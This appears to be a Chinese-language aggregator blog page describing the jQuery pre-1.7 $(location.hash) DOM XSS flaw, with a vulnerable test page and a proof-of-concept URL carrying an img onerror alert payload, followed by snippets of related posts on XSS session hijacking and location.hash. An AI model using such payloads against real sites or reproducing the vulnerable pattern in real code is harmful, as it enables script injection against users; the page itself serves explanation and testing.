jQuery跨站脚本漏洞XSS with $(location.hash)漏洞

jquery下载地址:https://code.jquery.com/jquery/

影响范围:

版本低于1.7的jQuery过滤用户输入数据所使用的正则表达式存在缺陷,可能导致LOCATION.HASH跨站漏洞

已测试成功版本:

    jquery-1.6.min.js,jquery-1.6.1.min.js,jquery-1.6.2.min.js

    jquery-1.5所有版本

    jquery-1.4所有版本

    jquery-1.3所有版本

    jquery-1.2所有版本

测试:

启动nginx,并建立index.html页面,内容如下:

漏洞发现者给的测试代码:

<html>

<head>

<title>JQuery-xss-test</title>

<script src="https://code.jquery.com/jquery-1.6.1.min.js"></script>

<script>

$(function(){

try { $(location.hash) } catch(e) {}

})

</script>

</head>

<body>

Jquery xss test.

</body>

</html>

访问地址:

http://localhost/#<img src=/ onerror=alert(/F4ckTeam/)>

测试截图:

时间: 2024-08-26 06:11:53

jQuery跨站脚本漏洞XSS with $(location.hash)漏洞的相关文章

跨站脚本攻击XSS(二)——session劫持

转载自:http://www.cnblogs.com/dolphinX/p/3403027.html 在跨站脚本攻击XSS中简单介绍了XSS的原理及一个利用XSS盗取存在cookie中用户名和密码的小例子,有些同学看了后会说这有什么大不了的,哪里有人会明文往cookie里存用户名和密码.今天我们就介绍一种危害更大的XSS--session劫持. 神马是session 想明白session劫持及其危害,首先要搞清楚什么是session,熟悉http的同学知道,http是无状态的,也就是客户端向服务

window.location.hash的简单了解

location是javascript里边管理地址栏的内置对象,比如location.href就管理页面的url,用location.href=url就可以直接将页面重定向url.而location.hash则可以用来获取或设置页面的标签值.比如http://domain/#admin的location.hash="#admin".利用这个属性值可以做一个非常有意义的事情. 很多人都喜欢收藏网页,以便于以后的浏览.不过对于Ajax页面来说的话,一般用一个页面来处理所有的事务,也就是说,

跨站脚本(XSS)

跨站脚本: cross-site scripting或者XSS, 即攻击者向目标Web站点注入HTML标签或者脚本 如果网站没有通过移除任何嵌入的HTML标签来消毒,那么web页面很容易受到跨站脚本攻击 简单例子: 下面的js脚本时向用户say hello <script> var name = decodeURIComponent(window.location.search.subString(1)) || ""; document.write("Hello

利用jsonp、iframe和location.hash解决跨域问题

几种解决js跨域的方法 js的跨域:由于浏览器同源策略,凡是发送请求url的协议.域名.端口三者之间任意一 与当前页面地址不同即为跨域.如下示例: URL 说明 是否允许通信 http://www.a.com/a.js http://www.a.com/b.js 同一域名下 允许 http://www.a.com/lab/a.js http://www.a.com/script/b.js 同一域名下不同文件夹 允许 http://www.a.com:8000/a.js http://www.a.

location.hash的解释

下面是摘抄自博主 吊儿郎当 的一篇关于hash的解释,觉得说的很有道理,摘抄下来方便自己可以随时复习,巩固!! 1.#的含义 #代表网页中的一个位置.其右面的字符,就是该位置的标识符.如: http://www.example.com/index.html#print 就代表网页index.html的print位置.浏览器读取这个URL后,会自动将print位置滚动至可视区域. 为网页位置指定标识符,有两个方法,一个是锚点<a name="print"></a>

location.hash &amp;&amp; location.href

hash:设置或获取 href 属性中在井号“#”后面的分段. href:设置或获取整个URL为字符串. 通过下面的测试你会发现区别,将代码放到你的HTML中,然后用浏览器打开,测试步骤: 点击“超链接”,你会发现在地址栏URL发生了变化,URL后面多了一个“#foo”. 点击"href",你会发现弹出的是地址栏的URL地址. 点击"hash",你会发现弹出的是#foo. <a href="#foo">超链接</a> &l

OAuth 漏洞预警 (OAuth平台redirect_uri 漏洞)

1. 首看看漏洞的起因: 有兴趣的你可以将下面的url贴到浏览器看看效果: http://chillyc.info\.csdn.net 或者这个url: http://[email protected]?blog.csdn.net/ 这些 Url 在不同的浏览器上表现可能不太一致.但是我在 Chrome上,输入第一个url 调整到了 chillyc.info的一个404页面.但不管怎么说,大多程序员使用找到 '.' 和'/'来判断domain的方法十分不靠谱.so~~~~为什么呢?写这些Oaut

location.hash的不一样用法

除了可以当做锚点,定位到同name位置,location.hash还有两个用法. 平时开发都会用得到. 一:使js事件在浏览器中产生历史记录. 举个栗子: 我们在JS里面改变了页面的数据.样式等,比如我们首先执行了JS函数A,把页面由白色变成了红色,在执行了JS函数B,把页面由红色变成了黑色,这个时候我想退回到页面为红色的状态,那么该怎么办?如果没有location.hash,我们只有重新载入页面,在去触发执行函数A,因为对于这些事件,浏览器是没有历史记录的,"前进.后退"按钮不能用的

window.location.hash属性介绍

location是javascript里边管理地址栏的内置对象,比如location.href就管理页面的url,用location.href=url就可以直接将页面重定向url.而location.hash则可以用来获取或设置页面的标签值.比如http://domain/#admin的location.hash="#admin".利用这个属性值可以做一个非常有意义的事情. 很多人都喜欢收藏网页,以便于以后的浏览.不过对于Ajax页面来说的话,一般用一个页面来处理所有的事务,也就是说,